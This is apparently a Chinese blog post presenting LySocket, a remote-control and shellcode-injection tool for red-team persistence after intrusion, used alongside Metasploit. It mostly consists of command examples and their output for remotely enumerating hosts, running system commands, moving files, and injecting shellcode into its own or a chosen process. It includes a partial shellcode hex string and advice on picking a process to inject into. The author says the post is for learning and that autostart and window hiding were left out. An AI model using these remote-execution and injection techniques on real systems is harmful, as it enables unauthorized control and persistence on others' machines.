当前位置: 首页 > article >正文

LySocket 远程ShellCode注入工具

一款基于C/C++开发的远程ShellCode注入工具,通常配合Metasploit一起使用,可实现远程注入反弹代码到指定进程,它由服务端和客户端两部分组成,并使用最少的代码实现了多Socket套接字管理机制,目前主要功能包括,获取客户端CPU、内存、进程列表、磁盘列表、目录与文件列表、执行系统命令、远程文件上传下载、以及远程ShellCode注入,该工具可用于红队渗透后的权限维持工作。本次分享工具源代码及使用方法,读者可根据自己的需要参考学习,并以此来更好的理解套接字是如何进行管理的。

image

首先,读者需要有一个公网IP地址,并在该地址上运行服务端程序,客户端可在被控主机上运行,为了防止技术滥用本工具并不提供开机自启动功能且不隐藏CMD窗口,其目的仅是让读者能够学习红队武器化的开发思路,若需应用于实战还需增加其他功能(例如加密传输),读者可根据自己的理解进行学习和完善。

ShowSocket

当在服务端上运行ShowSocket命令时,它会列出所有当前连接的客户端,其中包括客户端的IP地址、端口、及状态信息,该命令输出的信息通常包括以下内容:

[ LySocket ] # ShowSocket
--------------------------------------------------------------------
索引             客户端地址              端口            状态
--------------------------------------------------------------------
0                127.0.0.1               51453           Open
1                127.0.0.1               51454           Open
2                127.0.0.1               51455           Open
--------------------------------------------------------------------

GetCPU

当在服务端上运行GetCPU命令时,它会列出目标主机的CPU信息,包括CPUID、CPU型号、CPU空闲、CPU内核、CPU用户、CPU利用百分比等,该命令输出的信息通常包括以下内容:

[ LySocket ] # GetCPU --addr 127.0.0.1
--------------------------------------------------------------------
CPUID: 3219913727
CPUType: GenuineIntel
idle: 12500000
kernel: 12500000
user: 0
cpu: 0
--------------------------------------------------------------------

GetMemory

当在服务端上运行GetMemory命令时,它会获列出目标主机的内存信息,包括内存总量、内存剩余、内存已使用等信息,该命令输出的信息通常包括以下内容:

[ LySocket ] # GetMemory --addr 127.0.0.1
--------------------------------------------------------------------
内存总量                 内存剩余                内存已使用
--------------------------------------------------------------------
7878 MB                  4463 MB                 3415 MB
7878 MB                  4463 MB                 3415 MB
7878 MB                  4463 MB                 3415 MB
--------------------------------------------------------------------

GetProcessList

当在服务端上运行GetProcessList命令时,它会列出目标主机的进程列表信息,其中包括了进程PID、进程位数、进程名等,该功能主要用于挑选注入进程时使用,该命令输出的信息通常包括以下内容:

[ LySocket ] # GetProcessList --addr 127.0.0.1
--------------------------------------------------------------------
索引             进程PID                 进程位数                进程名
--------------------------------------------------------------------
0                4       x64             System
1                104     x64             Registry
2                440     x64             smss.exe
3                608     x64             csrss.exe
4                700     x64             csrss.exe
5                724     x64             wininit.exe
6                764     x64             winlogon.exe
7                844     x64             services.exe
8                860     x64             lsass.exe
9                980     x64             svchost.exe
10               1016    x64             svchost.exe
11               524     x64             fontdrvhost.exe
12               372     x64             fontdrvhost.exe
--------------------------------------------------------------------

GetDiskList

当在服务端上运行GetDiskList命令时,它会列出目标主机的磁盘列表信息,其中包括了磁盘名、磁盘类型、总容量、可用容量、已使用等,该命令输出的信息通常包括以下内容:

[ LySocket ] # GetDiskList --addr 127.0.0.1
----------------------------------------------------------------------------------------------------
磁盘名           磁盘类型                总容量                  可用空间                已使用
----------------------------------------------------------------------------------------------------
C:\              固定磁盘                256.000000              197.578125              58.421875
D:\              固定磁盘                675.508789              633.071289              42.437500
F:\              移动磁盘                1863.013672             1718.514648             144.499023
----------------------------------------------------------------------------------------------------

GetDiskFileList

当在服务端上运行GetDiskFileList命令时,它会列出目标主机特定目录下的磁盘文件信息,其中包括了文件名及文件大小,该命令输出的信息通常包括以下内容:

[ LySocket ] # GetDiskFileList --addr 127.0.0.1 --path c://
--------------------------------------------------------------------
文件名                           文件大小
--------------------------------------------------------------------
Boot                                                     0
bootmgr                                                  408344
PerfLogs                                                 0
Program Files                                            0
Program Files (x86)                                      0
ProgramData                                              0
Users                                                    0
Windows                                                  0
--------------------------------------------------------------------

GetCommand

当在服务端上运行GetCommand命令时,它会在目标系统中执行系统命令并输出执行结果,该命令输出的信息通常包括以下内容:

[ LySocket ] # GetCommand --addr 127.0.0.1 --cmd ipconfig
Windows IP 配置
以太网适配器 VMware Network Adapter VMnet1:

   连接特定的 DNS 后缀 . . . . . . . :
   本地链接 IPv6 地址. . . . . . . . : fe80::5484:f4a1:18e7:22e8%6
   IPv4 地址 . . . . . . . . . . . . : 192.168.16.1
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . :
--------------------------------------------------------------------

SendFile

当在服务端上运行SendFile命令时,它会将本地的特定文件发送到特定客户端上,例如将本地的d://lyshark.exe发送到对端的d://tmp/lyshark.exe目录下,可执行如下命令:

[ LySocket ] # SendFile --addr 127.0.0.1 --src d://lyshark.exe --dst d://tmp/
[+] 发送文件长度 14848
[*] 接收状态 1
[+] Success..

RecvFile

当在服务端上运行RecvFile命令时,它会将远程主机上特定文件接收到服务端上,例如将远程主机上的d://lyshark.exe接收到本地的d://tmp/目录下,可执行如下命令:

[ LySocket ] # RecvFile --addr 127.0.0.1 --src d://lyshark.exe --dst d://tmp/
[+] 生成保存路径 d://tmp/lyshark.exe
[+] 接收字节数: 14848
[+] Success..

InjectCode

当在服务端上运行InjectSelfCode命令时,它会将接收到的ShellCode注入到自身进程内并执行,例如执行如下命令:

[ LySocket ] # InjectSelfCode --addr 127.0.0.1 --shellcode fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31

若要将ShellCode注入到第三方进程中则可以使用InjectRemoteCode命令,该命令接收三个参数分别是目标地址、目标PID进程号、以及目标ShellCode代码,例如执行如下命令:

[ LySocket ] # InjectRemoteCode --addr 127.0.0.1 --pid 8762 --shellcode fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31

对于注入,推荐使用SendFile上传一个无窗体的进程,并通过调用GetCommand运行进程,最后调用InjectRemoteCode将其注入到对应的进程内,而不去使用系统中的其他进程。


http://www.kler.cn/a/373912.html

相关文章:

  • C++知识点复习
  • 【C/C++】模拟实现strlen
  • 快速全面系统的学习Python基础语法知识
  • vscode的一些使用心得
  • 基于MATLAB多参数结合火焰识别系统
  • 爬虫+数据保存2
  • 20241031使用Rockchip原厂RK3566的Buildroot编译RK3399方案
  • 解决注册Kaggle出现的“Captcha must be filled out”问题
  • 022集——统计多条线的总长度(CAD—C#二次开发入门)
  • 玄机-应急响应- Linux入侵排查
  • 人工智能进程;算子加速的具体计算部分;大模型GPT5:参数18万亿;大模型面临问题
  • Javaweb梳理5——约束
  • 第十四章大数据和数据科学
  • ✨云桥计划✨
  • Netty核心源码与优化
  • 微信公众号(或微信浏览器)获取openId(网页授权)
  • DAY15|二叉树Part03|LeetCode: 222.完全二叉树的节点个数、110.平衡二叉树、257. 二叉树的所有路径、404.左叶子之和
  • 江协科技STM32学习- P26 UART串口外设
  • 普通人的核心竞争力
  • 《Python游戏编程入门》注-第4章2
  • Unity XR Interaction Toolkit 开发教程(1):OpenXR 与 XRI 概述【3.0 以上版本】
  • 第13次CCF CSP认证真题解
  • 【GO学习笔记 go基础】访问控制
  • 我谈Canny算子
  • leetcode双指针题目总结
  • SAP B1 功能模块字段介绍 - 价格清单(上)